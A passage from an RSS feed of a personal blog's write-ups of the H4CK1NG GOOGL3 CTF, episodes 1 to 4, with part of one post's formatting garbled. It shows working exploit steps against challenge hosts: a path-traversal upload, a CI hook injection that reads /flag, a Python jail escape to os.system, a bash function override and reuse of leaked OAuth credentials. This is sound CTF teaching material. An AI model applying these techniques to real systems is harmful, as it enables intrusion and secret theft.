intensive) CTF!</p><p>Episode Overview:</p><ul><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p></li></ul>]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-5</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-5</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sat, 04 Feb 2023 16:43:27 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1675526820440/d48233c2-2d9a-4a24-939e-232941b1d210.avif</cover_image></item><item><title><![CDATA[Hacking Google CTF - Episode 4]]></title><description><![CDATA[<p>This is a write-up about how I solved the fifth episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out since it introduces the concept of a CTF.</p><h1 id="heading-challenge-01-bug-hunters">Challenge 01: Bug Hunters</h1><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668355832371/ELFXqZqBV.png" alt="Fake Google Bug Hunters Website" class="image--center mx-auto" /></p><blockquote><p>Hints:</p><ul><li><p>Look at challenge 02 first</p></li><li><p>../../..</p></li></ul></blockquote><p>For this challenge, Google cloned their <a target="_blank" href="https://bughunters.google.com/">Bug Hunters</a> website. But they exchanged the OIDC login with a basic login with a username and password, password reset functionality, and added <code>/import</code> and <code>/export</code> API endpoints.</p><p>I analyzed the login functionality thoroughly but could not spot something unusual. Turns out you get the site's source code (in HTML/JS) from challenge 02 and the backend code for the import/export endpoints (written in Go) from challenge 03!</p><p>The import endpoint allows users to upload bug reports by uploading <code>.tar.gz</code> compressed files. If a file is already present and we enable the debug mode by passing <code>&amp;dryRun=t&amp;debug=t</code>, we get a diff between the old and the new file.</p><p>After looking at the import functionality, it became apparent that the function does not check for <a target="_blank" href="https://owasp.org/www-community/attacks/Path_Traversal">path traversal attacks</a>.</p><p>So we just created a <code>.tar.gz</code> file containing an empty flag file and submitted it using:</p><pre><code class="lang-bash">curl --location --request POST <span class="hljs-string">'https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=../../../&amp;dryRun=t&amp;debug=t'</span> \--form <span class="hljs-string">'attachments=@"/home/michi/flag.tar.gz"'</span></code></pre><p>And get the diff containing the flag as a response.</p><h1 id="heading-challenge-02-bug-hunters-2">Challenge 02: Bug hunters 2</h1><blockquote><p>Hints:</p><ul><li><p>Brute force is the way to go</p></li><li><p>By fixing one vulnerability, you might introduce another one</p></li></ul></blockquote><p>This challenge gives us the source code for the website from challenge 01, together with the hint to log in as user "tin".</p><p>In the source code, we can see that we have to log in to display the flags (each user has one). The users and their password hashes are hardcoded:</p><pre><code class="lang-json">  { username: 'don', hashedPassword: 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=', isAdmin: <span class="hljs-literal">true</span> },  { username: 'tin', hashedPassword: 'XtBEoWAkAF/UKax1SDdIHeCJbtE=' }</code></pre><p>The reset function generates a random password but only allows passwords of non-admins to be reset.</p><p>After some digging around, we find that they implemented their own method for comparing strings in constant time to be invulnerable from <a target="_blank" href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">timing attacks</a>. However, their method is based on comparing the indices of the digits (yes only numbers) in the string one by one instead of comparing the actual characters. That means that two strings will be considered equal if their length is the same and they have numbers in the same location (not even the same numbers).</p><p>This equals method is used to compare the hashes when logging in. If we reset tin's password often enough (using a simple script), we eventually get one without any numbers and can log in with every password containing no numbers.</p><p>I also found a way to log in as the admin user, whose password cannot be reset: We first have to obtain the actual base64-decoded hash of don's password with the following command:</p><pre><code class="lang-bash">&gt; <span class="hljs-built_in">echo</span> <span class="hljs-string">'i4tUa+RTGgv+jRtyUWBXbP1i/mg='</span> | base64 -d - | xxd -p8b8b546be4531a0bfe8d1b725160576cfd62fe68</code></pre><p>Then we can brute force SHA1 passwords to get one, that has the numbers in the same places as don's hash. This actually gets us the flag for a bonus challenge.</p><h1 id="heading-challenge-02-bug-hunters-3">Challenge 02: Bug hunters 3</h1><blockquote><p>Hints:</p><ul><li><p>Git has lots of flags</p></li><li><p>CI can be dangerous</p></li></ul></blockquote><p>The challenge description tells you to find some bugs and gives you the hint to "find out how to contribute". By looking around the site from challenge 01, we find a Git URL that is pointing to a source code repository containing the source code of the backend.</p><p>When trying to contribute by pushing to the <code>flag</code> branch, the Git server rejects all push requests:</p><pre><code class="lang-plaintext">Total 0 (delta 0), reused 0 (delta 0), pack-reused 0remote: Skipping presubmit (enable via push option)remote: Thank you for your interest, but we are no longer accepting proposalsTo git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] flag -&gt; flag (pre-receive hook declined)error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'</code></pre><p>The error message says that the "presubmit checks" were skipped - so let's try to enable them?</p><pre><code class="lang-plaintext">$ git push -o "presubmit" -u origin flagEnumerating objects: 7, done.Counting objects: 100% (7/7), done.Delta compression using up to 16 threadsCompressing objects: 100% (4/4), done.Writing objects: 100% (4/4), 708 bytes | 708.00 KiB/s, done.Total 4 (delta 2), reused 0 (delta 0), pack-reused 0remote: Starting presubmit checkremote: Cloning into 'tmprepo'...remote: done.remote: HEAD is now at f5582f1 testremote: Building version v0.1.2remote: ./build.sh: line 5: go: command not foundremote: Build server must be misconfigured again...remote: Thank you for your interest, but we are no longer accepting proposalsTo git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] flag -&gt; flag (pre-receive hook declined)error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'</code></pre><p>Looking at the error message, we can see that the version number is printed by the server. So maybe there is a way to also print the flag, which probably works by executing <code>cat /flag</code>, again?</p><p>This code is from the <code>build.sh</code> file, which seems like it was part of some CI:</p><pre><code class="lang-bash"><span class="hljs-meta">#!/usr/bin/env bash</span><span class="hljs-built_in">source</span> configure_flags.sh &amp;&gt;/dev/null<span class="hljs-built_in">echo</span> <span class="hljs-string">"Building version <span class="hljs-variable">${VERSION}</span>"</span>go build -ldflags=<span class="hljs-string">"<span class="hljs-variable">${LDFLAGS[*]}</span>"</span></code></pre><p>However, modifying it has no use since it executes always the unmodified on the server. But we can change the <code>configure_flags.sh</code> file to include the flag value:</p><pre><code class="lang-bash"><span class="hljs-meta">#!/usr/bin/env bash</span><span class="hljs-comment"># IMPORTANT: Make sure to bump this before pushing a new binary.</span>VERSION=<span class="hljs-string">"<span class="hljs-subst">$(cat /flag)</span>"</span>COMMIT_HASH=<span class="hljs-string">"<span class="hljs-subst">$(git rev-parse --short HEAD)</span>"</span>BUILD_TIMESTAMP=$(date <span class="hljs-string">'+%Y-%m-%dT%H:%M:%S'</span>)LDFLAGS=(  <span class="hljs-string">"-X 'main.Version=<span class="hljs-variable">${VERSION}</span>'"</span>  <span class="hljs-string">"-X 'main.CommitHash=<span class="hljs-variable">${COMMIT_HASH}</span>'"</span>  <span class="hljs-string">"-X 'main.BuildTime=<span class="hljs-variable">${BUILD_TIMESTAMP}</span>'"</span>)</code></pre><h1 id="heading-conclusion">Conclusion</h1><p>Challenge one and two were quite interesting, probably because I am really interested in web technologies. However, I didn't like the challenge three that much, and without the hint from another participant to look at the hooks, it would have taken me a lot longer to figure out. You can read my write-up for the next (and last) episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">over here</a>.</p><p>Episode Overview:</p><ul><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p></li></ul>]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-4</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-4</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 17 Nov 2022 16:09:42 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1668355161638/sPJ7endCa.avif</cover_image></item><item><title><![CDATA[Hacking Google CTF - Episode 3]]></title><description><![CDATA[<p>This is a write-up about how I solved the fourth episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out since it introduces the concept of a CTF.</p><h1 id="heading-challenge-01-oauth-20">Challenge 01: OAuth 2.0</h1><blockquote><p>Hints:</p></blockquote><ul><li><p>Have a thorough look at the challenge intro video</p></li><li><p>Credentials might be accidentally left on the system somewhere</p></li></ul><p>The first challenge gives one command and the hint that a key should be found and <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc6749">RFC 6749</a> (which is about Oauth) should be put to use.</p><p>The command opens a TCP connection using <code>socat</code>, which presents a prompt asking for a password:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668256952560/ljTf1tpPj.png" alt="password challenge" class="image--center mx-auto" /></p><p>This one took me a while to figure out. Each episode comes with an introductory video. Someone on the Hacking Google CTF gave a hint that the password is hidden in this video. It took us a while, but eventually <a target="_blank" href="https://youtu.be/TusQWn2TQxQ?t=909">we found it</a>:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668257406949/Yks5JHVhZ.png" alt="hidden password" class="image--center mx-auto" /></p><p>Entering this password reveals a shell environment. Seems like it was the development environment of some developer creating a backup script for some documents:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668257589132/qmhNhtDs7.png" alt="shell like environment" class="image--center mx-auto" /></p><p>The <code>backup.py</code> script reveals the ID of the document the developer tried to back up, but the method to get the credentials was not finished yet.</p><p>Okay, seems like we have the document, containing the flag? Now we probably have to somehow get the Oauth credentials to access that file. Luckily enough, we can find the credentials in <code>.config/gcloud/legacy_credentials/backup-tool@project-multivision.iam.gserviceaccount.com/adc.json</code>, which contains a client id, client email, and private key.</p><p>Looking at the <a target="_blank" href="https://developers.google.com/identity/protocols/oauth2/service-account">documentation</a> for the Google Api's OAuth 2 service, we now have to construct an RS256 <a target="_blank" href="https://jwt.io">JWT token</a> with the following content and POST that to <code>https://oauth2.googleapis.com/token</code>:</p><pre><code class="lang-json">{   <span class="hljs-attr">"iss"</span>:<span class="hljs-string">"backup-tool@project-multivision.iam.gserviceaccount.com"</span>,   <span class="hljs-attr">"scope"</span>:<span class="hljs-string">"https://www.googleapis.com/auth/documents.readonly"</span>,   <span class="hljs-attr">"aud"</span>:<span class="hljs-string">"https://oauth2.googleapis.com/token"</span>,   <span class="hljs-attr">"exp"</span>:<span class="hljs-number">1664813638</span>,   <span class="hljs-attr">"iat"</span>:<span class="hljs-number">1664810038</span>}```By doing that we receive an access token that is valid for one hour to access that file. And of course, that file contains the flag!# Challenge <span class="hljs-number">02</span>: The Maze&gt; Hints:- Python is not made for secure/jailed environments- A terminal might not be the best choice for this challenge![ASCII maze](https:<span class="hljs-comment">//cdn.hashnode.com/res/hashnode/image/upload/v1668258346724/ilWwu5iZw.png align="center")</span>Again, we are presented with a `socat` command, but this time with an interactive game. The player can move around, pick up stuff like keys to unlock doors, energy boosters (energy gets lost by walking), and traps to kill enemies. After playing the game for a while, it seems rather hard and not going anywhere. The instructions for this challenge just mention that you have to cheat somehow. After some brainstorming and playing with the thought of writing a bot to solve the game, I remembered the most famous cheat code: The [Konami Code](https:<span class="hljs-comment">//en.wikipedia.org/wiki/Konami_Code). And indeed, entering the key sequence of that cheat opens up a shell-like environment.</span>Some toying around with that shell reveals that it is a really limited/jailed Python3 shell. This challenge took me a while, and I worked with other CTF participants to solve it. After some research, we found [this article](https:<span class="hljs-comment">//dspyt.com/how-to-python-jail-escape-newbie-ctf-2019), which explains how a Python jail would work and how it can be escaped. However, our shell was even more limited, not persisting the session after each command, seemingly printing only one line of the result and having a character limit for the input.</span>First, we wanted to see, which classes are loaded. Because of the given limitation, we would have to manually print each entry of the subclasses array like so: ```pythonprint(().class.bases[<span class="hljs-number">0</span>].subclasses()[<span class="hljs-number">123</span>]```To automate this, my friend wrote a Rust script that automatically connected, entered the Konami code, and executed the Python command. Now we had a list of classes, which contained some interesting entries. Most importantly we spotted the <span class="hljs-string">"builtinImporter"</span> object at index <span class="hljs-number">84.</span> This allowed us to actually load modules like this:```python().class.bases[<span class="hljs-number">0</span>].subclasses()[<span class="hljs-number">84</span>].load_module('os')```We eventually also found a way to persist our intermediate results between our inputs by creating new types and storing information in them:```python# create new subclassc=str.__base__.__subclasses__();c[<span class="hljs-number">0</span>](<span class="hljs-string">"a"</span>,(),{<span class="hljs-attr">"b"</span>:c[<span class="hljs-number">84</span>].load_module})# call it, like sostr.__base__.__subclasses__()[<span class="hljs-number">274</span>](<span class="hljs-string">"os"</span>)# which allows us to execute commands on the systemc=str.__base__.__subclasses__()[<span class="hljs-number">274</span>].b(<span class="hljs-string">"os"</span>);c.system(<span class="hljs-string">"ls"</span>)# which lists a 'flag' file```That's it, right? Well, not quite. We could not `cat` the file and print the output in our terminals because they interpreted some [ANSI codes](https:<span class="hljs-comment">//en.wikipedia.org/wiki/ANSI_escape_code) that hid the output. But thanks to our Rust program, we could actually see the raw output and find the flag there.</span># Challenge <span class="hljs-number">03</span>: Corgi&gt; Hints:- You don't have to crack the encryption.- Maybe there was some useful code left from developmentThis challenge came with a QR code and an `.apk` file, which is an Android application. I found [this online decompiler](https:<span class="hljs-comment">//www.decompiler.com/) tool, which I could use to look at the decompiled source code.</span>The app seems to allow scanning QR codes (using Google Lens) to enable app content with some encryption magic. After making sure that there is nothing weird going on with that app, I installed it on my phone. Normally I would never install such files on my Phone from untrusted sources, but I haven't any experience with Android development and did not want to search for a good emulator that can cope with Google services. Google wouldn't install a virus on my phone - I hope at least.Scanning the QR code with any reader app, will lead to this URL: `https:<span class="hljs-comment">//corgis-web.h4ck.ctfcompetition.com/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5`</span>Everything behind the `/` can be decoded using base64 and will result in another URL: `https:<span class="hljs-comment">//corgis-web.h4ck.ctfcompetition.com/corgi?DOCID=flag&amp;_mac=ded09ff1528f29800b1e733e6208ea362666b9eeb5f40c264fc5fb19daa36939`</span>This URL is parsed by the app and is used to unlock content. However, this only works if the client is <span class="hljs-string">"subscribed"</span> which is testing using the `_mac` value and some HMAC encryption, whose secrets can be found in the `strings.xml` file. However, the decompiled code is hard to read, and before trying to crack the encryption I wanted to have a look at the scanning logic.The `QrCodesKt.java` has some debug logic that was left in the code. Specifically, when  `/debug` and `#force_subscribed` is in the URL, we are <span class="hljs-string">"force subscribed"</span> skipping the subscription check at all. Generating a QR code with its URL pointing to `https:<span class="hljs-comment">//corgis-web.h4ck.ctfcompetition.com/debug/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5#force_subscribed` and scanning it will reveal the flag in the app.</span># ConclusionI quite liked reverse engineering the QR code logic of the third challenge. The second challenge took most of the time and nerves but was pretty rewarding. You can read my write-up for the next episode [over here](https:<span class="hljs-comment">//blog.lohr.dev/hacking-google-ctf-episode-4).</span>Episode Overview:- [Episode <span class="hljs-number">0</span>](https:<span class="hljs-comment">//blog.lohr.dev/hacking-google-ctf-episode-0)</span>- [Episode <span class="hljs-number">1</span>](https:<span class="hljs-comment">//blog.lohr.dev/hacking-google-ctf-episode-1)</span>- [Episode <span class="hljs-number">2</span>](https:<span class="hljs-comment">//blog.lohr.dev/hacking-google-ctf-episode-2)</span>- [Episode <span class="hljs-number">3</span>](https:<span class="hljs-comment">//blog.lohr.dev/hacking-google-ctf-episode-3)</span>- [Episode <span class="hljs-number">4</span>](https:<span class="hljs-comment">//blog.lohr.dev/hacking-google-ctf-episode-4)</span>- [Episode <span class="hljs-number">5</span>](https:<span class="hljs-comment">//blog.lohr.dev/hacking-google-ctf-episode-5)</span></code></pre>]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-3</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-3</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sat, 12 Nov 2022 17:23:16 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1668274224849/l6mTcbnTA.avif</cover_image></item><item><title><![CDATA[Hacking Google CTF - Episode 2]]></title><description><![CDATA[<p>This is a write-up about how I solved the third episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out, since it introduces the concept of a CTF.</p><h1 id="heading-challenge-01-lsb-stego">Challenge 01: LSB stego</h1><p><strong>Hints:</strong></p><ul><li><p>There are two similar images</p></li><li><p>One of the images has slightly different pixel data</p></li></ul><p>The challenge consists of the following image and the following description:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1666951010365/3Z8VGJxiY.png" alt="challenge.png" class="image--center mx-auto" /></p><blockquote><p>This image might look familiar. But where have you seen it before?</p><p>Hint: Sometimes the answers are hidden in plain site</p></blockquote><p>Indeed the image is hidden in plain site! It is the background of the hacking google webSITE: <code>https://h4ck1ng.google/assets/website.png</code>. When comparing both images in terms of checksum and with the help of diff tools, it becomes apparent that this is not the same image. The background image seems to contain some extra information.</p><p>Running in through the <code>string</code> utility (as previously used in the <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">last episode</a>, we get the following output:</p><pre><code class="lang-plaintext">strings website.png | headIHDR        pHYssRGBgAMAtEXtAuthorCrash OverrideRiTXtCommentD&amp;R found our last message so just using base64-encoding isn't going to be enough. Maybe hide it in an SSL certificate? Should pass DLP checks. And use LSB stego, I'm sure that'll fool them. I found an online tool that works to read it (I'll send you a link) so we can probably deprecate your custom decoding tool. Oh and remember to delete this message before you check in the changes[IDATx</code></pre><p>There are a few interesting things here: The message author references "stego", which is an abbreviation for <a target="_blank" href="https://en.wikipedia.org/wiki/Steganography">Steganography</a>, which describes the practice of hiding information in a different message or data (like an image). LSB stands for "least significant bit", meaning each pixel contains part of the secret message in the least significant bits of the pixel's data. Those can be extracted with tools like this: https://stegonline.georgeom.net/upload.</p><p>After running the original challenge image through the stego tool we get some text-based data, which looks like a certificate, which was also mentioned in the hidden message from the <code>website.png</code>. But apparently, they hide the information we aim to get (the flag) in the certificate somehow.</p><p>The certificate can be parsed with the <code>openssl x509 -in cert -text</code> command, which reveals the hidden flag in the organization name of both the issuer and subject data.</p><p>After solving the challenge, someone pointed out to me that there is a tool called "Cyber Chef" that can do all the steps to decode the data, at once. It can do even more and is quite handy for such things: https://gchq.github.io/CyberChef/#recipe=Extract_LSB('R','G','B','A','Row',0)Parse_X.509_certificate('PEM')</p><h1 id="heading-challenge-02-timesketch">Challenge 02: Timesketch</h1><p><strong>Hints:</strong></p><ul><li><p>You don't need Timesketch</p></li><li><p>Look for things that look like a flag</p></li></ul><p>This challenge was a bit boring. They want you to analyze some server logs using <a target="_blank" href="https://github.com/google/timesketch">Timesketch</a>. They included instructions on how to set it up (even using Docker), but I didn't feel like it.</p><p>Since the flag has to be somewhere in the logs, I just looked for some keywords that appear in a flag. Weirdly enough searching for "h4ck1ng" etc. yielded no results. However "HTTP" did!</p><p><code>cat data.csv | grep http</code> returned the URL, which was scramled like this: <code>https://h[4]ck[1]n/g.go[og]le/s[ol]ve/...</code>.</p><h1 id="heading-challenge-03-quarantine-shell">Challenge 03: Quarantine Shell</h1><p><strong>Hints:</strong></p><ul><li><p>Focus on the available commands</p></li><li><p>Maybe you can somehow overwrite existing commands</p></li></ul><p>The command <code>command: socat FILE:</code>tty<code>,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337</code> is given. It connects you to a remote shell. However, this shell is quarantined, meaning you supposedly can't execute commands:</p><pre><code class="lang-plaintext"> socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337== proof-of-work: disabled ==bash: cannot set terminal process group (1): Inappropriate ioctl for devicebash: no job control in this shell   ___                                    _    _                ____   _            _  _  / _ \  _   _   __ _  _ __  __ _  _ __  | |_ (_) _ __    ___  / ___| | |__    ___ | || | | | | || | | | / _` || `__|/ _` || `_ \ | __|| || `_ \  / _ \ \___ \ | `_ \  / _ \| || | | |_| || |_| || (_| || |  | (_| || | | || |_ | || | | ||  __/  ___) || | | ||  __/| || |  \__\_\ \__,_| \__,_||_|   \__,_||_| |_| \__||_||_| |_| \___| |____/ |_| |_| \___||_||_|The D&amp;R team has detected some suspicious activity on your account and has quarantined you while they investigate961 days stuck at ~~ $ echo testcommand blocked: echo testcheck completions to see available commands</code></pre><p>There are quite some interesting things there, like the <code>== proof-of-work: disabled ==</code> output. But after some research, it turned out that this is just something from the CTF virtualization environment.</p><p>Pressing the tab key reveals the possible commands - so it seems like autocomplete still works. By typing <code>cd /</code> and then pressing tabs, we actually see all the files in the root file system. This reveals that there is a <code>/flag</code> file, which probably contains the flag URL.</p><p>By looking through the command list, I found some interesting commands that I actually was able to execute. One of the was the <code>function</code> command/keyword.</p><p>After some research, I found the following article: https://blog.dnmfarrell.com/post/bash-function-names-can-be-almost-anything/. After playing around with redefining the default <code>echo</code> command, I finally got the flag by using the following commands:</p><pre><code class="lang-plaintext">function echo{command echo $(&lt;/flag);}echo</code></pre><p>We now have the flag, but we can now also access the shell files that implement the quarantine. After looking through the code, the relevant part seems to be this:</p><pre><code class="lang-bash">    <span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">quarantine_protocol</span></span>() {        <span class="hljs-keyword">if</span> [[ <span class="hljs-string">"<span class="hljs-variable">${COMP_WORDS[0]}</span>"</span> == <span class="hljs-string">'_dnr_toolkit'</span> ]];         <span class="hljs-keyword">then</span>             <span class="hljs-comment"># Removing the trap here then setting it again in the completions has the </span>            <span class="hljs-comment"># effect of allowing all the code in the completions function to run </span>            <span class="hljs-comment"># while preventing any user commands. </span>            <span class="hljs-built_in">trap</span> - DEBUG <span class="hljs-literal">true</span> <span class="hljs-keyword">else</span> <span class="hljs-built_in">echo</span> <span class="hljs-string">"command blocked: <span class="hljs-variable">${BASH_COMMAND}</span>"</span>             <span class="hljs-built_in">echo</span> <span class="hljs-string">"check completions to see available commands"</span> <span class="hljs-literal">false</span>         <span class="hljs-keyword">fi</span>     }     <span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">quarantine</span></span>() {         <span class="hljs-comment"># Remove the environment, but only env vars, not functions. </span>        <span class="hljs-built_in">set</span> -o posix <span class="hljs-built_in">unset</span> $(<span class="hljs-built_in">set</span> | grep <span class="hljs-string">'='</span> | grep -v <span class="hljs-string">'^_'</span> | grep -v <span class="hljs-string">'flag'</span> | cut -d<span class="hljs-string">'='</span> -f1) 2&gt;/dev/null         <span class="hljs-built_in">set</span> +o posix         <span class="hljs-comment"># Keep these at least, we're not THAT cruel. </span>        PS1=<span class="hljs-string">'~ $ '</span>         PS2=<span class="hljs-string">'&gt; '</span>         PS4=<span class="hljs-string">'+ '</span>         <span class="hljs-comment"># Trap every command and ignore it. </span>        <span class="hljs-comment"># Credit to https://stackoverflow.com/a/55977897 # This inadvertently has the effect of leaving them stuck at ~ and unable # to `exit` :^) </span>        <span class="hljs-built_in">set</span> -T         <span class="hljs-comment"># Enable for subshells </span>        <span class="hljs-built_in">shopt</span> -s extdebug         <span class="hljs-comment"># From the man pages: "If the command run by the DEBUG trap returns a non-zero value, the next command is skipped and not executed" </span>        <span class="hljs-built_in">trap</span> quarantine_protocol DEBUG         <span class="hljs-comment"># Trap every single command </span>    }</code></pre><h1 id="heading-conclusion">Conclusion</h1><p>Again, an interesting challenge - though I would say this was the weakest of the five episodes. You can read my write-up for the next episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">over here</a>.</p><p>Episode Overview:</p><ul><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p></li></ul>]]></description><link>https://blog.lohr.dev/hacking-google-episode-2</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-episode-2</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sat, 05 Nov 2022 12:35:44 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1666950594157/zXL3-YXCR.avif</cover_image></item><item><title><![CDATA[Hacking Google CTF - Episode 1]]></title><description><![CDATA[<p>This is a write-up about how I solved the second episode of the <a target="_blank" href="https://h4ck1ng.google">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to read it, since it contained one of the most fun challenges of this CTF.</p><h1 id="heading-challenge-01-wannacry">Challenge 01: Wannacry</h1><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665302712826/vi1yteSGq.png" alt="A screenshot of the hex values of the challenge file" class="image--center mx-auto" /></p><p><strong>Hint:</strong> The Linux <code>file</code> and <code>strings</code> utilities are very useful</p><p>In the first challenge, only a binary file is provided. After looking at the hex values of the binary file and printing the strings of the file header using <code>strings challenge.bin | head</code> it became apparent that this is a gzip compressed file. <code>file challenge.bin</code> further revealed that it is <code>.zip</code> compressed. Unzipping this file resulted in a <code>challenge.tar.gz</code> file which I could extract with <code>tar -xzvf challenge.tar.gz</code>. This gave me two files: <code>flag</code> and <code>wannacry</code>.</p><p>The <code>file</code> command revealed that the <code>wannacry</code> is an actual executable and the <code>flag</code> is an OpenPGP secret key. The file name of the executable led to some hesitation at first but after running it through several malware scanners, I determined that it is safe to execute.</p><pre><code class="lang-plaintext">&gt; ./wannacryUsage of ./wannacry:  -encrypted_file string        File name to decrypt.  -key_file string        File name of the private key.</code></pre><p>Interesting, so the <code>wannacry</code> executable can use some private key to decrypt our secret key flag file. But where do we get the private key from?</p><p>From the first episode, we know what a flag looks like. So why not search for it in the strings of the binary using <code>strings wannacry | grep h4ck1ng</code>. This returned not the flag, but the URL <code>https://wannacry-keys-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com/</code> which is a list of 200 private key files.</p><p>My friend quickly decided to brute force the key and wrote a script to try every private key on the secret key flag. Eventually, we found one that worked and got the unencrypted <code>flag</code> file that contained the actual flag!</p><h1 id="heading-challenge-02-wannacry-the-second">Challenge 02: Wannacry the second</h1><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665304098574/cK2JgxNyD.png" alt="A screenshot of the hex values of the second challenge file" class="image--center mx-auto" /></p><p>** Hints:**</p><ul><li><p>The <code>strings</code> might be intresting again</p></li><li><p>Execute the hidden function</p></li></ul><p>Challenge 01 was a nice warm-up, but challenge 02 is a whole other level. It comes with a binary file, which unzips to a binary executable called <code>wannacry</code>, again. However, this time, executing the binary prints nothing and just returns the error code 0. So it looked like I would have to figure out some secret parameters in order to get the executable to print something. Looking at the <code>strings</code> again reveals another URL: https://wannacry-killswitch-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com//. A website that just displays the text "Our princess is in another castle." - a reference (and <a target="_blank" href="https://knowyourmeme.com/memes/but-our-princess-is-in-another-castle">a meme</a>) to from the game Super Mario.</p><p>The executable seems to contain a whole dictionary at the end, containing various strings. The string <code>princess</code> is definitely in there together with lots of other alphabetically sorted words.</p><p>Looking at the output of the <code>file</code> command more specifically, shows us that it is "not stripped" and therefore contains debug symbols:</p><pre><code class="lang-plaintext">&gt; file wannacrywannacry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 